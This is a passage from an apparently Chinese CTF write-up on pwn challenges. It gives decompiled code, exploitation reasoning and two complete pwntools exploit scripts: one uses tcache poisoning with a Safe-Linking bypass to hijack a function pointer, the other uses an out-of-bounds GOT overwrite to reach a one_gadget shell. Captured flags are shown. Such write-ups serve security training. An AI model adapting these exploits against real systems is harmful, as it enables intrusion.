src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"421\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-314-1024x421.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3325\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u9898\u76ee\u7981\u7528\u4e86 <code>execve<\/code>\uff0c\u4f46\u5185\u7f6e\u4e86\u540e\u95e8\u51fd\u6570\u8bfb\u53d6 flag\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>unsigned __int64 sub_6750()\n{\n  \/\/ ...\n  std::filebuf::basic_filebuf(v24);\n  std::ios::init(v27, v24);\n  v0 = std::filebuf::open(v24, \"\/flag\", 12); \/\/ \u53ef\u4ee5\u8bfb\u53d6 \/flag\n  \/\/ ... \n  std::__ostream_insert(std::cout, \"&#91;audit] snapshot: \", 18);\n  std::__ostream_insert(std::cout, v19, v20);\n}<\/code><\/pre>\n\n\n\n<p>\u89e6\u53d1\u6267\u884c\u4e0e\u767d\u540d\u5355\u6821\u9a8c (sub_3DF0)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-315-1024x505.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"505\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-315-1024x505.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3326\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>[9] Dispatch async task<code>\u4e2d\u4f1a\u53d6\u51fa Task \u7ed3\u6784\u4f53\u504f\u79fb<\/code>0x18<code>(<\/code>v10+24`) \u5904\u7684\u51fd\u6570\u6307\u9488\u6267\u884c\uff0c\u4f46\u6709\u767d\u540d\u5355\u9650\u5236\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>unsigned __int64 __fastcall sub_3DF0(__int64 a1)\n{\n  \/\/ ...\n  v10 = *(_QWORD *)(a1 + 8 * v18 + 40);\n  if ( v10 &amp;&amp; (v11 = *(__int64 (__fastcall **)())(v10 + 24)) != 0 ) \/\/ \u504f\u79fb 0x18 \u5b58\u653e handler\n  {\n    \/\/ \u5fc5\u987b\u6ee1\u8db3\u767d\u540d\u5355\uff0c\u6216\u8005 strict_policy (\u504f\u79fb 8) \u4e3a 0\n    if ( v11 == sub_2FF0 || v11 == sub_30A0 || *(_BYTE *)(*(_QWORD *)(a1 + 32) + 8LL) == 0 || v11 == sub_2F40 )\n    {\n      ((void (__fastcall *)(_QWORD))v11)(*(_QWORD *)(v10 + 32)); \/\/ \u52ab\u6301\u76ee\u6807\n      return;\n    }\n    std::__ostream_insert(std::cout, \"policy engine blocked non-whitelisted handler\", 45);\n  }\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>UAF \u4e0e\u9650\u5236\u5199\n\u83dc\u5355 &#91;6] Complete \u91ca\u653e Tensor \u65f6\u672a\u6e05\u7a7a\u6307\u9488\uff0c\u5b58\u5728 UAF\u3002\u83dc\u5355 &#91;7] Patch \u5141\u8bb8\u5411\u91ca\u653e\u7684\u5806\u5757\u5199\u6570\u636e\uff0c\u4f46\u7a0b\u5e8f\u52a0\u4e86\u6781\u5f3a\u7684\u9650\u5236\uff1adiagnostic offset policy allows qword_index=0 only\uff0c\u4e5f\u5c31\u662f\u53ea\u80fd\u8986\u76d6 Tcache \u7684 fd \u6307\u9488\uff0c\u65e0\u6cd5\u76f4\u63a5\u5199\u7ed3\u6784\u4f53\u5176\u4ed6\u5b57\u6bb5\u3002<\/code><\/pre>\n\n\n\n<p>\u7ed3\u6784\u4f53\u4ea4\u53c9\u4efb\u610f\u5199 (sub_6E90)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-316-1024x536.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"536\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-316-1024x536.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3327\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u83dc\u5355 &#91;8] Provision worker profile \u5173\u952e\u3002\u5b83\u5206\u914d\u7684\u5806\u5757\u5927\u5c0f\u4e3a 0x50\uff08\u5bf9\u5e94\u7269\u7406 chunk 0x60\uff09\uff0c\u4e0e Tensor Handle \u76f8\u540c\u3002\u5e76\u4e14\u5b83\u4f1a\u6309\u7167\u8f93\u5165\u987a\u5e8f\uff0c\u4f9d\u6b21\u5411 v1+0, v1+8, v1+16 \u7b49\u504f\u79fb\u5904\u5199\u5165 8 \u5b57\u8282\u6570\u636e\u3002\n\nunsigned __int64 __fastcall sub_6E90(_QWORD *a1)\n{\n  \/\/ ...\n  v1 = (char *)operator new(0x50u); \/\/ \u7533\u8bf7 0x50 (\u5b9e\u9645 tcache 0x60)\n  \/\/ ...\n  std::__ostream_insert(std::cout, \"worker.cpu_quota&gt; \", 18); \/\/ \u5199\u5165 v1+0\n  \/\/ ...\n  std::__ostream_insert(std::cout, \"worker.mem_quota&gt; \", 18); \/\/ \u5199\u5165 v1+8\n  \/\/ ...\n  std::__ostream_insert(std::cout, \"worker.latency_slo&gt; \", 20); \/\/ \u5199\u5165 v1+24 (0x18)\n}<\/code><\/pre>\n\n\n\n<p>\u5229\u7528\u601d\u8def<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Tcache Poisoning + \u7ed3\u6784\u4f53\u4ea4\u53c9\u5229\u7528\uff0c\u5206\u4e24\u6b65\u8d70\uff1a\n\u5173\u95ed strict_policy (\u7ed5\u8fc7\u51fd\u6570\u6267\u884c\u767d\u540d\u5355)\nstrict_policy \u6807\u5fd7\u4f4d\u4f4d\u4e8e Control Plane \u7684\u504f\u79fb 8 \u5904\u3002\n\u5206\u914d\u4e24\u4e2a Tensor \u5e76 Free \u6389\uff08\u9632\u6b62 Tcache count \u5f52\u96f6\u62a5\u9519\uff09\u3002\n\u5229\u7528 UAF \u4fee\u6539 fd\uff0c\u7531\u4e8e Glibc 2.32+ \u5f15\u5165\u4e86 Safe-Linking\uff0c\u9700\u8981\u8fdb\u884c\u6307\u9488\u52a0\u5bc6\uff1amangled = (heap_addr &gt;&gt; 12) ^ target_addr\u3002\u628a fd \u6307\u5411 Control Plane\u3002\n\u518d\u6b21\u5206\u914d\u628a Tcache \u5934\u79fb\u5230 Control Plane\uff0c\u968f\u540e\u8c03\u7528 &#91;8] Provision worker\u3002\u5229\u7528\u987a\u5e8f\u5199\u5165\u7684\u7279\u6027\uff0c\u5c06\u504f\u79fb 0 \u5199\u56de Magic Word 0x49464F524745 (\u5341\u8fdb\u5236 80562141505349)\uff0c\u5c06\u504f\u79fb 8 \u7684 strict_policy \u8986\u5199\u4e3a 0\u3002\n\n\u52ab\u6301 Handler \u51fd\u6570\u6307\u9488\nTask 0 \u7ed3\u6784\u4f53\u504f\u79fb 0x18 \u662f\u4efb\u52a1\u6267\u884c\u7684\u51fd\u6570\u6307\u9488\uff08handler\uff09\u3002\n\u91cd\u590d\u4e0a\u8ff0 Tcache Poisoning \u7684\u64cd\u4f5c\uff0c\u628a fd \u6307\u5411 Task 0 \u7684\u5730\u5740\u3002\n\u5c06 Task 0 \u7533\u8bf7\u51fa\u6765\u540e\uff0c\u518d\u6b21\u8c03\u7528 &#91;8] Provision worker\u3002\u5728\u8f93\u5165\u5230 latency_slo (\u5bf9\u5e94\u504f\u79fb 0x18) \u65f6\uff0c\u586b\u5165\u83dc\u5355 10 \u6cc4\u9732\u51fa\u7684\u540e\u95e8\u51fd\u6570\u5730\u5740 (win_addr)\u3002\n\u6700\u540e\u8c03\u7528\u83dc\u5355 &#91;9] \u6d3e\u53d1 Task 0\uff0c\u6210\u529f\u52ab\u6301\u63a7\u5236\u6d41\uff0c\u540e\u95e8\u51fd\u6570\u4f1a\u8bfb\u53d6\u5e76\u6253\u5370 \/flag\u3002<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.arch = 'amd64'\ncontext.os = 'linux'\n\ndef allocate_tensor(io, slot, size):\n    io.sendlineafter(b\"gateway&gt; \", b\"5\")\n    io.sendlineafter(b\"&gt; \", str(slot).encode())\n    io.sendlineafter(b\"&gt; \", str(size).encode())\n    io.sendlineafter(b\"&gt; \", b\"A\")\n    io.recvuntil(b\"handle=0x\")\n    return int(io.recvuntil(b\" \", drop=True), 16)\n\ndef free_tensor(io, slot):\n    io.sendlineafter(b\"gateway&gt; \", b\"6\")\n    io.sendlineafter(b\"&gt; \", str(slot).encode())\n\ndef patch_tensor_fd(io, slot, target_addr_mangled):\n    io.sendlineafter(b\"gateway&gt; \", b\"7\")\n    io.sendlineafter(b\"&gt; \", str(slot).encode())\n    io.sendlineafter(b\"&gt; \", b\"0\") \n    io.sendlineafter(b\"&gt; \", str(target_addr_mangled).encode())\n\ndef provision_worker(io, cpu, mem, io_weight, latency, replicas, region, memo):\n    io.sendlineafter(b\"gateway&gt; \", b\"8\")\n    io.sendlineafter(b\"&gt; \", str(cpu).encode())\n    io.sendlineafter(b\"&gt; \", str(mem).encode())\n    io.sendlineafter(b\"&gt; \", str(io_weight).encode())\n    io.sendlineafter(b\"&gt; \", str(latency).encode())\n    io.sendlineafter(b\"&gt; \", str(replicas).encode())\n    io.sendlineafter(b\"&gt; \", str(region).encode())\n    io.sendlineafter(b\"&gt; \", memo.encode())\n\ndef dispatch_task(io, task_id):\n    io.sendlineafter(b\"gateway&gt; \", b\"9\")\n    io.sendlineafter(b\"&gt; \", str(task_id).encode())\n\ndef exploit():\n    io = remote('nc1.ctfplus.cn', 42319)\n\n    io.sendlineafter(b\"gateway&gt; \", b\"1\")\n    io.sendlineafter(b\"&gt; \", b\"128\")\n    io.sendlineafter(b\"&gt; \", b\"1\")\n    io.sendlineafter(b\"gateway&gt; \", b\"3\")\n\n    io.sendlineafter(b\"gateway&gt; \", b\"10\")\n    io.recvuntil(b\"scheduler.ctrl=0x\")\n    ctrl_addr = int(io.recvuntil(b\" \", drop=True), 16)\n\n    io.recvuntil(b\"diag.audit_sink=0x\")\n    win_addr = int(io.recvuntil(b\"n\", drop=True), 16)\n\n    io.recvuntil(b\"&#91;scheduler.head] desc=0x\")\n    task_0_addr = int(io.recvuntil(b\" \", drop=True), 16)\n\n    chunk_0 = allocate_tensor(io, 0, 48)\n    chunk_1 = allocate_tensor(io, 1, 48)\n    free_tensor(io, 0)\n    free_tensor(io, 1)\n\n    patch_tensor_fd(io, 1, (chunk_1 &gt;&gt; 12) ^ ctrl_addr)\n    allocate_tensor(io, 2, 48)\n\n    provision_worker(io, 80562141505349, 0, 0, 0, 0, 0, \"A\")\n\n    chunk_3 = allocate_tensor(io, 3, 48)\n    chunk_4 = allocate_tensor(io, 4, 48)\n    free_tensor(io, 3)\n    free_tensor(io, 4)\n\n    patch_tensor_fd(io, 4, (chunk_4 &gt;&gt; 12) ^ task_0_addr)\n    allocate_tensor(io, 5, 48)\n\n    provision_worker(io, 0, 1, 0, win_addr, task_0_addr, 0, \"sqe-0\")\n\n    dispatch_task(io, 0)\n    io.interactive()\n\nif __name__ == \"__main__\":\n    exploit()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-317-1024x144.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"144\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-317-1024x144.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3328\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>polarisctf{0a882cf3-c2bf-48da-9900-339db92fb529}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">treasure<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-318.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"741\" height=\"583\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-318.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3329\"  sizes=\"auto, (max-width: 741px) 100vw, 741px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-319-1024x153.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"153\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-319-1024x153.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3330\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6f0f\u6d1e\u4f4d\u4e8e <code>main<\/code> \u51fd\u6570\u4e2d\u7684 \u6570\u7ec4\u8d8a\u754c\u8bfb\u5199<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-320-1024x587.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"587\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-320-1024x587.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3331\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>__isoc99_scanf(\"%lld\", &amp;qword_48A0);\nwhile ( qword_48A0 &gt; 255 ) { ... }\nread(0, &amp;byte_40A0&#91;8 * qword_48A0], 8u);\n\nscanf \u4f7f\u7528 %lld \u63a5\u6536\u6709\u7b26\u53f7\u6574\u578b\uff0c\u4f46\u9a8c\u8bc1\u903b\u8f91\u4ec5\u68c0\u67e5\u4e86 &gt; 255\uff0c\u672a\u68c0\u67e5\u8d1f\u6570\u3002\u5229\u7528\u8d1f\u6570\u7d22\u5f15\u53ef\u5411\u4e0a\u8d8a\u754c\u4efb\u610f\u8bfb\u5199 .bss \u6bb5\u548c .got.plt \u8868<\/code><\/pre>\n\n\n\n<p><code>one_gadget .\/libc.so.6<\/code> \u83b7\u53d6 gadget \u5730\u5740<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-321-1024x525.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"525\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-321-1024x525.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3332\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u9009\u5b9a\u504f\u79fb 0xebd3f\uff0c\u5176\u7ea6\u675f\u6761\u4ef6\u4e3a &#91;&#91;rbp-0x70]] == NULL\u3002<\/code><\/pre>\n\n\n\n<p>\u5185\u5b58\u504f\u79fb\u8ba1\u7b97<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5df2\u77e5\u57fa\u51c6\u6570\u7ec4 byte_40A0 \u7684\u5730\u5740\u4e3a 0x40A0\u3002\n\nstderr \u504f\u79fb (\u7528\u4e8e\u6cc4\u9732)\uff1astderr \u4f4d\u4e8e 0x4080\uff0c\u5dee\u503c\u4e3a -0x20\u3002\u7d22\u5f15 = -32 \/ 8 = -4\u3002\nprintf GOT \u504f\u79fb (\u7528\u4e8e\u52ab\u6301)\uff1aprintf@got \u4f4d\u4e8e 0x4038\uff0c\u5dee\u503c\u4e3a -0x68\u3002\u7d22\u5f15 = -104 \/ 8 = -13\u3002<\/code><\/pre>\n\n\n\n<p>\u89e3\u9898\u6b65\u9aa4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7ed5\u8fc7\u6821\u9a8c\uff1a\u521d\u59cb\u5bc6\u7801\u8f93\u5165 11 \u76f4\u63a5\u8fdb\u5165 else \u540e\u95e8\u5206\u652f\u3002\n\u6cc4\u9732 Libc \u57fa\u5740\uff1a\u5229\u7528\u7b2c\u4e00\u6b21\u8d8a\u754c\u673a\u4f1a\uff0c\u8f93\u5165\u7d22\u5f15 -4 \u6307\u5411 stderr\u3002\u53d1\u9001 x41 (1\u5b57\u8282) \u8986\u76d6\u5176\u4f4e\u4f4d\uff0c\u5229\u7528\u7d27\u63a5\u7740\u7684 printf \u6253\u5370\u6cc4\u9732\u5b8c\u6574\u5730\u5740\uff0c\u901a\u8fc7\u6309\u4f4d\u622a\u65ad\u9875\u504f\u79fb\u7b97\u51fa\u7cbe\u786e\u7684 libc_base\u3002\n\u6808\u98ce\u6c34 (Stack Grooming)\uff1a\u7a0b\u5e8f\u4e2d\u95f4\u4f1a\u8c03\u7528 sub_1214 \u5411\u6808 &#91;rbp-0x90] \u5199\u5165\u540d\u5b57\u3002\u4e3a\u4e86\u6ee1\u8db3 one_gadget \u82db\u523b\u7684 &#91;rbp-0x70] == NULL \u7ea6\u675f\u6761\u4ef6\uff0c\u5728\u6b64\u5904\u53d1\u9001 120 \u5b57\u8282\u7684 x00\uff0c\u5f7b\u5e95\u6e05\u7a7a\u6808\u4e0a\u7684\u5783\u573e\u6570\u636e\u3002\n\u52ab\u6301 GOT \u8868\uff1a\u5229\u7528\u7b2c\u4e8c\u6b21\u8d8a\u754c\u673a\u4f1a\uff0c\u8f93\u5165\u7d22\u5f15 -13 \u6307\u5411 printf@got\uff0c\u5199\u5165 libc_base + 0xebd3f\u3002\u7a0b\u5e8f\u6267\u884c\u4e0b\u4e00\u53e5 printf \u65f6\u76f4\u63a5\u83b7\u5f97 shell\u3002<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nimport time\n\nelf = ELF(\".\/pwn-treasure\", checksec=False)\nlibc = ELF(\".\/libc.so.6\", checksec=False)\ncontext(arch='amd64', os='linux', log_level='error')\n\ndef exploit():\n    p = remote(\"nc1.ctfplus.cn\", 21210)\n\n    try:\n        p.recvuntil(b\"password: \")\n        p.sendline(b\"11\")\n\n        p.recvuntil(b\"Which one?n\")\n        p.sendline(b\"-4\")\n        p.send(b\"A\")\n\n        p.recvuntil(b\"after your operation, the context: \")\n        raw_leak = p.recvuntil(b\"you should\", drop=True) \n\n        if len(raw_leak) &lt; 6:\n            p.close()\n            return False\n\n        raw_leak = raw_leak&#91;:6]\n        leaked_addr = u64(raw_leak.ljust(8, b'x00'))\n        libc.address = (leaked_addr &amp; ~0xff) - (libc.sym&#91;'_IO_2_1_stderr_'] &amp; ~0xff)\n\n        if (libc.address &amp; 0xfff) != 0 or libc.address &lt; 0x700000000000:\n            p.close()\n            return False\n\n        print(f\"&#91;+] Libc base: {hex(libc.address)}\")\n\n        p.recvuntil(b\"tell me your name.n\")\n        p.send(b\"x00\" * 120 + b\"n\")\n\n        p.recvuntil(b\"Last time!Lucky, guy!n\")\n        p.sendline(b\"-13\")\n\n        one_gadget_addr = libc.address + 0xebd3f\n        p.send(p64(one_gadget_addr))\n\n        time.sleep(0.5)\n        print(\"&#91;+] Shell obtained!\")\n        p.interactive()\n        return True\n\n    except:\n        p.close()\n        return False\n\nif __name__ == \"__main__\":\n    while not exploit():\n        pass<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-322-1024x276.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"276\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-322-1024x276.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3333\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>polarisctf{8afb8dc8-2dc7-44d3-b2aa-05fafa6742b4}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">mini-mqtt<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-323.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"761\" height=\"551\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-323.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3334\"  sizes=\"auto, (max-width: 761px) 100vw, 761px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-324-1024x478.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"478\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-324-1024x478.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3335\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6f0f\u6d1e\u5206\u6790<\/p>\n\n\n\n<pre 